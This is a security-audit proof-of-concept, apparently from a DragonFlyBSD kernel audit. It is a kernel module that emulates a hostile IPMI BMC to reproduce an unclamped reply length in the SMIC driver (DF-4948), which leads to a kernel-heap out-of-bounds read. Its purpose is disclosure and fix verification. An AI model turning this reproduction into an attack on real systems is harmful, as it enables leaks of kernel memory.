⬢ DragonFlyBSD Kernel Audit
DF-4948 / smicshock.c
← back to finding ↓ download raw
/*
 * DF-4948 PoC harness (kernel module, root-only load).
 *
 * Finding: sys/dev/misc/ipmi/ipmi_smic.c -- smic_polled_request() counts
 * EVERY reply data byte the BMC streams (ipmi_smic.c:320-336) and stores
 * the unclamped count into req->ir_replylen (ipmi_smic.c:341), while the
 * write into req->ir_reply[] IS clamped (ipmi_smic.c:325).  The shared
 * consumer ipmi_ioctl() (ipmi.c:448-468) trusts ir_replylen:
 *	len = ir_replylen + 1; len = min(user data_len, len);
 *	copyout(ir_reply, ..., len - 1)
 * over a buffer that is always exactly IPMI_MAX_RX = 1024 bytes for ioctl
 * requests (ipmi.c:401-403, 534-546).  A hostile BMC that streams > 1024
 * data bytes before RD_END therefore turns every RECEIVE ioctl into a
 * kernel-heap out-of-bounds READ (info leak) of up to 64 KB.  This is the
 * exact twin of DF-4777 (ipmi_kcs.c:432), unfixed in the SMIC backend.
 *
 * How this harness proves the PRODUCER half live on the guest:
 *
 *   - build.sh copies /usr/src/sys/dev/misc/ipmi/ipmi_smic.c VERBATIM
 *     next to this file, which #includes it with -DLOCAL_MODULE so the
 *     only environment difference is the <ipmivars.h> INB/OUTB pair,
 *     redirected to a scripted hostile-BMC SMIC register emulator below.
 *     Every line of transport logic that runs is the shipped kernel
 *     source, unmodified.
 *
 *   - The emulator models a protocol-legal but hostile BMC: it completes
 *     each host transaction (WR_START/WR_NEXT/WR_END/RD_START/RD_END)
 *     with the matching SC status codes, echoes the netfn/command bytes,
 *     and streams 16000 reply data bytes before marking the last one
 *     RD_END.  (The emulator accepts any control-code write during the
 *     read phase as RD_NEXT, which is also what tolerates the driver's
 *     CC/SC mixup at ipmi_smic.c:202 -- see DF-4949.)
 *
 * Expected output on a stock kernel:
 *   smic_polled_request()=1
 *   req->ir_replylen  = 16000     <-- unclamped BMC-controlled count
 *   req->ir_replybuflen = 1024
 *   -> the ipmi.c sink then copies out up to 16001 bytes from the
 *      1024-byte chunk (demonstrated live on this same guest by the
 *      DF-4777 sink harness; re-run here as run.sh phase 2).
 *
 * Expected output after fix.diff (clamp at ipmi_smic.c:341):
 *   req->ir_replylen  = 1024      <-- clamped to ir_replybuflen
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/conf.h>
#include <sys/bus.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/thread.h>

/* the code under test, verbatim (copied here by build.sh, never edited) */
#include "ipmi_smic.c"

#define	POC_REPLYBUF		1024	/* IPMI_MAX_RX (sys/sys/ipmi.h:35) */
#define	POC_STREAM_DATA		16000	/* data bytes the hostile BMC streams */

/* ---------- scripted hostile-BMC SMIC register emulation ---------- */

#define	EMU_MAX_STREAM		(4 + 65536)
static u_char emu_data, emu_ctlsts, emu_flags, emu_cc_pending;
static u_char emu_stream[EMU_MAX_STREAM];
static int emu_stream_len, emu_stream_pos;

struct ipmi_request *
ipmi_dequeue_request(struct ipmi_softc *sc)
{
	return (NULL);
}

void
ipmi_complete_request(struct ipmi_softc *sc, struct ipmi_request *req)
{
}

int
ipmi_polled_enqueue_request(struct ipmi_softc *sc, struct ipmi_request *req)
{
	return (0);
}

u_char
smic_emu_inb(struct ipmi_softc *sc, int x)
{
	switch (x) {
	case SMIC_DATA:
		return (emu_data);
	case SMIC_CTL_STS:
		return (emu_ctlsts);
	case SMIC_FLAGS:
		return (emu_flags);
	}
	return (0xff);
}

/*
 * Stage the next scripted reply byte with the given SC status code.
 * The last byte of the stream is staged with SC_SMS_RD_END, which is
 * what makes smic_read_byte() return 2 and terminate the driver's
 * collection loop (ipmi_smic.c:321,214-217).
 */
static void
smic_emu_stage_next(u_char sc_code)
{
	KKASSERT(emu_stream_pos < emu_stream_len);
	emu_data = emu_stream[emu_stream_pos];
	emu_ctlsts = sc_code;
	emu_stream_pos++;
	emu_flags |= SMIC_STATUS_RX_RDY;
}

/*
 * The BMC's view of a completed host transaction.  Everything the host
 * wrote (control code + data byte, BUSY assert) is processed instantly
 * and BUSY is cleared with the appropriate status code staged.
 */
static void
smic_emu_execute(u_char cc)
{
	switch (cc) {
	case SMIC_CC_SMS_WR_START:
		emu_ctlsts = SMIC_SC_SMS_WR_START;
		emu_flags |= SMIC_STATUS_TX_RDY;
		break;
	case SMIC_CC_SMS_WR_NEXT:
		emu_ctlsts = SMIC_SC_SMS_WR_NEXT;
		emu_flags |= SMIC_STATUS_TX_RDY;
		break;
	case SMIC_CC_SMS_WR_END:
		emu_ctlsts = SMIC_SC_SMS_WR_END;
		emu_flags |= SMIC_STATUS_RX_RDY;	/* reply becomes ready */
		break;
	case SMIC_CC_SMS_RD_START:
		/* netfn/lun byte accompanies SC_SMS_RD_START */
		smic_emu_stage_next(SMIC_SC_SMS_RD_START);
		break;
	case SMIC_CC_SMS_RD_END:
		/* transaction complete: interface returns to READY */
		emu_ctlsts = SMIC_SC_SMS_RDY;
		break;
	case SMIC_CC_SMS_RD_NEXT:
	default:
		/*
		 * DF's smic_read_byte() writes SMIC_SC_SMS_RD_NEXT (0xC5)
		 * to the control register instead of SMIC_CC_SMS_RD_NEXT
		 * (0x45) -- the CC/SC mixup at ipmi_smic.c:202 (DF-4949).
		 * A hostile BMC simply treats ANY control write during the
		 * read phase as RD_NEXT.
		 */
		smic_emu_stage_next(
		    (emu_stream_pos == emu_stream_len - 1) ?
		    SMIC_SC_SMS_RD_END : SMIC_SC_SMS_RD_NEXT);
		break;
	}
}

void
smic_emu_outb(struct ipmi_softc *sc, int x, u_char value)
{
	switch (x) {
	case SMIC_DATA:
		emu_data = value;
		break;
	case SMIC_CTL_STS:
		emu_cc_pending = value;
		break;
	case SMIC_FLAGS:
		/* the system asserts BUSY; the instant BMC executes the
		   pending control code and deasserts BUSY */
		emu_flags = value & ~(u_char)SMIC_STATUS_BUSY;
		if (value & SMIC_STATUS_BUSY)
			smic_emu_execute(emu_cc_pending);
		break;
	}
}

/* ------------------------- the actual PoC run ------------------------- */

static int
smicshock_run(void)
{
	struct ipmi_softc sc;
	struct ipmi_request req;
	static u_char reqbuf[2];
	u_char *reply;
	int ok, i, bug;

	/* mirrors ipmi_alloc_request(): ir_reply is a 1024-byte chunk for
	   every ioctl request (ipmi.c:401-403,534-546) */
	reply = kmalloc(POC_REPLYBUF, M_DEVBUF, M_INTWAIT | M_ZERO);
	memset(reply, 0xAA, POC_REPLYBUF);

	memset(&sc, 0, sizeof(sc));
	memset(&req, 0, sizeof(req));
	req.ir_addr = 0x20;			/* IPMI_ADDR(6,0): App NetFn */
	req.ir_command = 0x2e;			/* GET_DEVICE_ID */
	req.ir_request = reqbuf;
	req.ir_requestlen = 0;			/* command-only request */
	req.ir_reply = reply;
	req.ir_replybuflen = POC_REPLYBUF;

	/* script the hostile BMC's reply:
	 *   [reply netfn/lun][command][completion code][16000 data bytes]
	 */
	emu_stream_len = 0;
	emu_stream[emu_stream_len++] = IPMI_REPLY_ADDR(req.ir_addr);
	emu_stream[emu_stream_len++] = req.ir_command;
	emu_stream[emu_stream_len++] = 0x00;	/* completion code */
	for (i = 0; i < POC_STREAM_DATA; i++)
		emu_stream[emu_stream_len++] = (u_char)(0x40 + (i & 0x3f));
	emu_stream_pos = 0;
	emu_data = emu_ctlsts = emu_flags = emu_cc_pending = 0;

	ok = smic_polled_request(&sc, &req);

	kprintf("smicshock: smic_polled_request() = %d\n", ok);
	kprintf("smicshock: BMC streamed %d reply data bytes\n",
	    POC_STREAM_DATA);
	kprintf("smicshock: req->ir_replylen   = %d\n", req.ir_replylen);
	kprintf("smicshock: req->ir_replybuflen = %zd\n", req.ir_replybuflen);

	bug = (ok == 1 && req.ir_replylen > (int)req.ir_replybuflen);
	if (bug) {
		kprintf("smicshock: BUG DF-4948 REPRODUCED: unclamped "
		    "ir_replylen=%d stored for a %zd-byte buffer "
		    "(ipmi_smic.c:341); the ipmi.c RECEIVE sink "
		    "(len=ir_replylen+1, copyout of ir_reply, ipmi.c:448-468) "
		    "then reads %d bytes past the %d-byte IPMI_MAX_RX chunk\n",
		    req.ir_replylen, req.ir_replybuflen,
		    req.ir_replylen - POC_REPLYBUF, POC_REPLYBUF);
	} else {
		kprintf("smicshock: clamped (ir_replylen <= ir_replybuflen): "
		    "fix present at ipmi_smic.c:341\n");
	}

	kfree(reply, M_DEVBUF);
	return (bug);
}

static int last_result = -1;

static int
sysctl_smicshock_run(SYSCTL_HANDLER_ARGS)
{
	int error, v = 0;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	last_result = smicshock_run();
	return (0);
}
SYSCTL_PROC(_hw, OID_AUTO, smicshock_run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, sysctl_smicshock_run, "I",
    "re-run the DF-4948 hostile-BMC SMIC transaction");

static int
smicshock_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		last_result = smicshock_run();
		return (0);	/* always loads; verdict is in the console */
	case MOD_UNLOAD:
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

DEV_MODULE(smicshock, smicshock_modevent, NULL);